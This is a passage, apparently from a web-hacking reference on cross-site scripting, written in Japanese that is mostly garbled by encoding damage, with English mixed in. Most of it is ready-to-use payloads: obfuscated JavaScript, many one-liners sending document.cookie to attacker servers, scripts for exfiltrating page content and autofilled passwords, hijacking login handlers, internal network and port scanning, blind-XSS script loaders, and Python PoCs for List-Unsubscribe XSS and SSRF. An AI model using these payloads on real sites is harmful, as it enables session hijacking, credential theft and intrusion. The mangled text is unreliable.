ïŸÐïŸïŸ: ((ïŸïœ°ïŸ == 3) + "_")[ïŸïœ°ïŸ],
}
ïŸÐïŸ[ïŸÎïŸ] = ((ïŸÏïŸïŸ == 3) + "_")[c ^ _ ^ o]
ïŸÐïŸ["c"] = (ïŸÐïŸ + "_")[ïŸïœ°ïŸ + ïŸïœ°ïŸ - ïŸÎïŸ]
ïŸÐïŸ["o"] = (ïŸÐïŸ + "_")[ïŸÎïŸ]
ïŸoïŸ =
ïŸÐïŸ["c"] +
ïŸÐïŸ["o"] +
(ïŸÏïŸïŸ + "_")[ïŸÎïŸ] +
((ïŸÏïŸïŸ == 3) + "_")[ïŸïœ°ïŸ] +
(ïŸÐïŸ + "_")[ïŸïœ°ïŸ + ïŸïœ°ïŸ] +
((ïŸïœ°ïŸ == 3) + "_")[ïŸÎïŸ] +
((ïŸïœ°ïŸ == 3) + "_")[ïŸïœ°ïŸ - ïŸÎïŸ] +
ïŸÐïŸ["c"] +
(ïŸÐïŸ + "_")[ïŸïœ°ïŸ + ïŸïœ°ïŸ] +
ïŸÐïŸ["o"] +
((ïŸïœ°ïŸ == 3) + "_")[ïŸÎïŸ]
ïŸÐïŸ["_"] = (o ^ _ ^ o)[ïŸoïŸ][ïŸoïŸ]
ïŸÎµïŸ =
((ïŸïœ°ïŸ == 3) + "_")[ïŸÎïŸ] +
ïŸÐïŸ.ïŸÐïŸïŸ +
(ïŸÐïŸ + "_")[ïŸïœ°ïŸ + ïŸïœ°ïŸ] +
((ïŸïœ°ïŸ == 3) + "_")[o ^ _ ^ (o - ïŸÎïŸ)] +
((ïŸïœ°ïŸ == 3) + "_")[ïŸÎïŸ] +
(ïŸÏïŸïŸ + "_")[ïŸÎïŸ]
ïŸïœ°ïŸ += ïŸÎïŸ
ïŸÐïŸ[ïŸÎµïŸ] = "\\"
ïŸÐïŸ.ïŸÎïŸïŸ = (ïŸÐïŸ + ïŸïœ°ïŸ)[o ^ _ ^ (o - ïŸÎïŸ)]
oïŸïœ°ïŸo = (ïŸÏïŸïŸ + "_")[c ^ _ ^ o]
ïŸÐïŸ[ïŸoïŸ] = '"'
ïŸÐïŸ["_"](
ïŸÐïŸ["_"](
ïŸÎµïŸ +
ïŸÐïŸ[ïŸoïŸ] +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
ïŸïœ°ïŸ +
ïŸÎïŸ +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
(ïŸïœ°ïŸ + ïŸÎïŸ) +
ïŸïœ°ïŸ +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
ïŸïœ°ïŸ +
(ïŸïœ°ïŸ + ïŸÎïŸ) +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ïŸÎïŸ) +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
ïŸïœ°ïŸ +
ïŸÐïŸ[ïŸÎµïŸ] +
(ïŸïœ°ïŸ + ïŸÎïŸ) +
(c ^ _ ^ o) +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸïœ°ïŸ +
((o ^ _ ^ o) - ïŸÎïŸ) +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
ïŸÎïŸ +
(c ^ _ ^ o) +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
ïŸïœ°ïŸ +
(ïŸïœ°ïŸ + ïŸÎïŸ) +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
(ïŸïœ°ïŸ + ïŸÎïŸ) +
ïŸïœ°ïŸ +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
(ïŸïœ°ïŸ + ïŸÎïŸ) +
ïŸïœ°ïŸ +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
(ïŸïœ°ïŸ + ïŸÎïŸ) +
(ïŸïœ°ïŸ + (o ^ _ ^ o)) +
ïŸÐïŸ[ïŸÎµïŸ] +
(ïŸïœ°ïŸ + ïŸÎïŸ) +
ïŸïœ°ïŸ +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸïœ°ïŸ +
(c ^ _ ^ o) +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
ïŸÎïŸ +
((o ^ _ ^ o) - ïŸÎïŸ) +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
ïŸïœ°ïŸ +
ïŸÎïŸ +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
ïŸïœ°ïŸ +
ïŸÎïŸ +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
((o ^ _ ^ o) - ïŸÎïŸ) +
(o ^ _ ^ o) +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
ïŸïœ°ïŸ +
(o ^ _ ^ o) +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ïŸÎïŸ) +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
(ïŸïœ°ïŸ + ïŸÎïŸ) +
ïŸÎïŸ +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸÎïŸ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
ïŸïœ°ïŸ +
ïŸÐïŸ[ïŸÎµïŸ] +
ïŸïœ°ïŸ +
((o ^ _ ^ o) - ïŸÎïŸ) +
ïŸÐïŸ[ïŸÎµïŸ] +
(ïŸïœ°ïŸ + ïŸÎïŸ) +
ïŸÎïŸ +
ïŸÐïŸ[ïŸoïŸ]
)(ïŸÎïŸ)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS common payloads
Several payloads in 1
Iframe Trap
ãŠãŒã¶ãŒãiframeå ã«çãããŸãŸããŒãžå ãç§»åããããã®æäœïŒãã©ãŒã ã§éä¿¡ãããæ å ±ãå«ãïŒãçªåããã
Retrieve Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
cookie ã« HTTPOnly ãã©ã°ãèšå®ãããŠããå ŽåãJavaScript ãã cookies ã«ã¢ã¯ã»ã¹ã§ããŸãããããããéãè¯ããã°ãã®ä¿è·ããã€ãã¹ããããã€ãã®æ¹æ³ããããŸãã
ããŒãžã³ã³ãã³ããçã
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
å éšIPãèŠã€ãã
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
çãæéã¯å¿çããããŒãã瀺ã é·ãæéã¯å¿çãªãã瀺ããŸã.
Chromeã§çŠæ¢ãããŠããããŒãã®äžèЧã¯hereã§ãFirefoxã§ã¯hereã§ç¢ºèªããŠãã ããã
è³æ Œæ å ±ãèŠæ±ããããã¯ã¹
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
ãªãŒããã£ã«ããããã¹ã¯ãŒãã®ååŸ
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
password field ã«ããŒã¿ãå ¥åããããšãusername ãš password 㯠attackers server ã«éä¿¡ãããŸããã¯ã©ã€ã¢ã³ãã saved password ãéžæããŠäœãå ¥åããªããŠããcredentials 㯠ex-filtrated ãããŸãã
Hijack form handlers to exfiltrate credentials (const shadowing)
If a critical handler (e.g., function DoLogin(){...}) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a const with the same name first to preempt and lock the handler. Later function declarations cannot rebind a const name, leaving your hook in control:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
泚æ
- ããã¯å®è¡é åºã«äŸåããŸã: ããªãã®ã€ã³ãžã§ã¯ã·ã§ã³ã¯æ£èŠã®å®£èšããå ã«å®è¡ãããå¿ èŠããããŸãã
- ããããªãã®ãã€ããŒãã
eval(...)ã§ã©ãããããŠããå Žåãconst/letãã€ã³ãã£ã³ã°ã¯ã°ããŒãã«ã«ãªããŸãããçã®ã°ããŒãã«ã§åãã€ã³ãäžå¯èœãªãã€ã³ãã£ã³ã°ã確å®ã«ããããã«ãã»ã¯ã·ã§ã³ãDeliverable payloads with eval(atob()) and scope nuancesãã«ããåç<script>ã€ã³ãžã§ã¯ã·ã§ã³ææ³ã䜿çšããŠãã ããã - ããŒã¯ãŒããã£ã«ã¿ãã³ãŒãããããã¯ããå Žåã¯ãäžã§ç€ºããããã« Unicode ãšã¹ã±ãŒããããèå¥åã
eval(atob('...'))é ä¿¡ãšçµã¿åãããŠãã ããã
Keylogger
github ãæ€çŽ¢ããã ãã§ãããã€ãèŠã€ãããŸãã:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- ãŸã metasploit ã®
http_javascript_keyloggerã䜿ãããšãã§ããŸã
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage ã¡ãã»ãŒãžã®çªå
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
ããŒãžã postMessage ããã® event.origin ãä¿åããåŸã§ãããã¹ã¯ãªããã®URLã«é£çµãã ãšãéä¿¡è
ã¯èªã¿èŸŒãŸããJSã® origin ãå¶åŸ¡ã§ããŸã:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Exploitation recipe (from CAPIG):
- Gates: fires only when
window.openerexists andpixel_idis allowlisted; origin is never checked. - Use CSP-allowed origin: 被害è
ã® CSP ã«ãã£ãŠæ¢ã«èš±å¯ãããŠãããã¡ã€ã³ã«ããããããïŒäŸ: ãã°ã¢ãŠãç¶æ
ã®ãã«ãããŒãžã analytics ãèš±å¯ããŠãã
*.THIRD-PARTY.comã®ãããªã±ãŒã¹ïŒãã㊠takeover/XSS/upload ã䜿ã£ãŠããã«/sdk/<pixel_id>/iwl.jsããã¹ãããã - Restore
opener: Android WebView ã§ã¯window.name='x'; window.open(target,'x')ã«ããããŒãžãèªèº«ã® opener ã«ãªãïŒãã€ãžã£ãã¯ããã iframe ããæªæã®ããpostMessageãéãã - Trigger: the iframe posts
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; the parent then loads attackeriwl.jsfrom the CSP-allowed origin and runs it.
This turns origin-less postMessage validation into a remote script loader primitive that survives CSP if you can land on any origin already allowed by the policy.
ãµãã©ã€ãã§ãŒã³ã® stored XSS â ããã¯ãšã³ãã§ã® JS é£çµçµç±
ããã¯ãšã³ãã ãŠãŒã¶ãŒå¶åŸ¡ã®å€ãå«ã JS æååãé£çµããŠå ±æ SDK ãæ§ç¯ãã å Žåãä»»æã®ã¯ãªãŒã/æ§é ãã¬ãŒã«ãŒãã¹ã¯ãªãããæ³šå ¥ãããããå šãŠã®å©çšè ã«é ä¿¡ãããå¯èœæ§ããã:
- äŸ (Meta CAPIG): ãµãŒãã¯
capig-events.jsã«çŽæ¥cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});ã远å ããã 'ã"]}ãæ³šå ¥ãããšãªãã©ã«/ãªããžã§ã¯ããéããããæ»æè ã® JS ã远å ãããèªã¿èŸŒããã¹ãŠã®ãµã€ãïŒfirst-party ãš third-partyïŒã«é åžããã SDK ã« stored XSS ãçããã
Service Workers ã®æªçš
Shadow DOM ãžã®ã¢ã¯ã»ã¹
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS ãã€ããŒã
次ã䜿çšã§ãã: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - é ãããã³ã³ãã³ããžã®ã¢ã¯ã»ã¹
From this writeup itâs possible to learn that even if some values disappear from JS, itâs still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS ãå©çšããä»ã®è匱æ§ã®æªçš
XSS in Markdown
Markdownã³ãŒããæ³šå ¥ããŠã¬ã³ããªã³ã°ã§ãããïŒããããããšXSSãçºçããããïŒç¢ºèª:
XSS to SSRF
ãã£ãã·ã¥ã䜿çšãããµã€ãã§XSSãèŠã€ããïŒEdge Side Include InjectionãéããŠãããSSRFã«ã¢ããã°ã¬ãŒãããŠã¿ãŠããã€ããŒãã¯æ¬¡ã®éã:
<esi:include src="http://yoursite.com/capture" />
ããã䜿ã£ãŠ cookie å¶éãXSS ãã£ã«ã¿ãŒãªã©ãåé¿ã§ããŸãïŒ
More information about this technique here: XSLT.
åçã«çæããã PDF ã® XSS
If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code.
So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.
If you cannot inject HTML tags it could be worth it to try to inject PDF data:
XSS in Amp4Email
AMP, aimed at accelerating web page performance on mobile devices, incorporates HTML tags supplemented by JavaScript to ensure functionality with an emphasis on speed and security. It supports a range of components for various features, accessible via AMP components.
The AMP for Email format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.
Example writeup XSS in Amp4Email in Gmail.
List-Unsubscribe Header Abuse (Webmail XSS & SSRF)
The RFC 2369 List-Unsubscribe header embeds attacker-controlled URIs that many webmail and mail clients automatically convert into âUnsubscribeâ buttons. When those URIs are rendered or fetched without validation, the header becomes an injection point for both stored XSS (if the unsubscribe link is placed in the DOM) and SSRF (if the server performs the unsubscribe request on behalf of the user).
Stored XSS via javascript: URIs
- èªåå®ã«ã¡ãŒã«ãéã â ãããã
javascript:URI ãæãããã«ããã¡ãã»ãŒãžã®æ®ãã¯ã¹ãã ãã£ã«ã¿ã§åŒŸãããªãããç¡å®³ã«ä¿ã¡ãŸãã - UI ãå€ãã¬ã³ããªã³ã°ããããšã確èªããïŒå€ãã®ã¯ã©ã€ã¢ã³ã㯠âList Infoâ ããã«ã«è¡šç€ºããŸãïŒãããŠçæããã
<a>ã¿ã°ãæ»æè å¶åŸ¡ã®å±æ§ïŒhrefãtargetãªã©ïŒãç¶æ¿ããŠããã確èªããŸãã - å®è¡ãããªã¬ãŒããïŒäŸ: CTRL+clickãmiddle-clickããŸã㯠âopen in new tabâïŒãªã³ã¯ã
target="_blank"ã䜿çšããŠããå ŽåïŒãã©ãŠã¶ã¯æå®ããã JavaScript ã webmail ã¢ããªã±ãŒã·ã§ã³ã®ãªãªãžã³ã§è©äŸ¡ããŸãã - stored-XSS primitive ã芳å¯ããïŒpayload ã¯ã¡ãŒã«ãšãšãã«ä¿æãããå®è¡ã«ã¯ã¯ãªãã¯ã ããå¿ èŠã§ãã
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
URI å
ã®æ¹è¡ãã€ã (%0a) ã¯ãHorde IMP H5 ã®ãããªè匱ãªã¯ã©ã€ã¢ã³ãã§ããã¬ã³ããªã³ã°ãã€ãã©ã€ã³ãééããŠãã¢ã³ã«ãŒã¿ã°å
ã«æååããã®ãŸãŸåºåããŠããŸãããšã瀺ããŠããã
æªæã®ãã List-Unsubscribe ããããŒãé ä¿¡ããæå°éã® SMTP PoC
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = âmail.example.orgâ smtp_port = 587 smtp_user = âuser@example.orgâ smtp_password = âREDACTEDâ sender = âlist@example.orgâ recipient = âvictim@example.orgâ
msg = EmailMessage() msg.set_content(âTesting List-Unsubscribe renderingâ) msg[âFromâ] = sender msg[âToâ] = recipient msg[âSubjectâ] = âNewsletterâ msg[âList-Unsubscribeâ] = âjavascript://evil.tld/%0aconfirm(document.domain)â msg[âList-Unsubscribe-Postâ] = âList-Unsubscribe=One-Clickâ
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### ãµãŒããŒåŽã®è³Œèªè§£é€ãããã· -> SSRF
Some clients, such as the Nextcloud Mail app, proxy the unsubscribe action server-side: clicking the button instructs the server to fetch the supplied URL itself. That turns the header into an SSRF primitive, especially when administrators set `'allow_local_remote_servers' => true` (documented in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), which allows requests toward loopback and RFC1918 ranges.
1. **ã¡ãŒã«ãäœæãã** â `List-Unsubscribe` ãæ»æè
管çã®ãšã³ããã€ã³ããæãããã«ããïŒãã©ã€ã³ã SSRF ã®å Žå㯠Burp Collaborator / OAST ã䜿çšïŒã
2. **`List-Unsubscribe-Post: List-Unsubscribe=One-Click` ãç¶æãã** ããšã§ãUI ã«ã¯ã³ã¯ãªãã¯ã®è³Œèªè§£é€ãã¿ã³ã衚瀺ãããã
3. **ä¿¡é ŒèŠä»¶ãæºãã**: äŸãã° Nextcloud ã¯ã¡ãã»ãŒãžã DKIM ãééãããšãã®ã¿ HTTPS ã®è³Œèªè§£é€ãªã¯ãšã¹ããå®è¡ãããããæ»æè
ã¯èªåã管çãããã¡ã€ã³ã§ã¡ãŒã«ã«çœ²åããå¿
èŠãããã
4. **ã¡ãã»ãŒãžãã¿ãŒã²ãããµãŒããŒã§åŠçãããã¡ãŒã«ããã¯ã¹ã«é
éã**ããŠãŒã¶ãŒã賌èªè§£é€ãã¿ã³ãã¯ãªãã¯ããã®ãåŸ
ã€ã
5. **collaborator endpoint ã§ãµãŒããŒåŽã®ã³ãŒã«ããã¯ã芳å¯ã**ãããªããã£ãã確èªã§ãããå
éšã¢ãã¬ã¹ãžããããããã
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
SSRF ãã¹ãçšã® DKIMçœ²åæžã¿ List-Unsubscribe ã¡ãã»ãŒãž
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = âmail.example.orgâ smtp_port = 587 smtp_user = âuser@example.orgâ smtp_password = âREDACTEDâ dkim_selector = âdefaultâ dkim_domain = âexample.orgâ dkim_private_key = âââââBEGIN PRIVATE KEYââ\nâŠ\nââEND PRIVATE KEYâââââ
msg = EmailMessage() msg.set_content(âOne-click unsubscribe testâ) msg[âFromâ] = âlist@example.orgâ msg[âToâ] = âvictim@example.orgâ msg[âSubjectâ] = âMailing listâ msg[âList-Unsubscribeâ] = âhttp://abcdef.oastify.comâ msg[âList-Unsubscribe-Postâ] = âList-Unsubscribe=One-Clickâ
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[âFromâ, âToâ, âSubjectâ] ) msg[âDKIM-Signatureâ] = signature.decode().split(â: â, 1)[1].replace(â\râ, ââ).replace(â\nâ, ââ)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**ãã¹ãæã®æ³šæ**
- OAST endpoint ã䜿çšã㊠blind SSRF hits ãåéããããªããã£ãã確èªãããã `List-Unsubscribe` URL ã `http://127.0.0.1:PORT`ãmetadata servicesããŸãã¯ãã®ä»ã®å
éšãã¹ããã¿ãŒã²ããã«åãããŠèª¿æŽããã
- unsubscribe helper ã¯ãã°ãã°ã¢ããªã±ãŒã·ã§ã³ãšåã HTTP stack ãåå©çšããããããã® proxy settingsãHTTP verbsãheader rewrites ãåŒãç¶ããŸããããã«ããã[SSRF methodology](../ssrf-server-side-request-forgery/README.md) ã«èšèŒããã远å ã® traversal tricks ãè¡ãããšãå¯èœã«ãªããŸãã
### XSS: ãã¡ã€ã«ã®ã¢ããããŒã (svg)
以äžã®ãããªãã¡ã€ã«ãç»åãšããŠã¢ããããŒãããïŒåºå
ž: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)ïŒ:
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
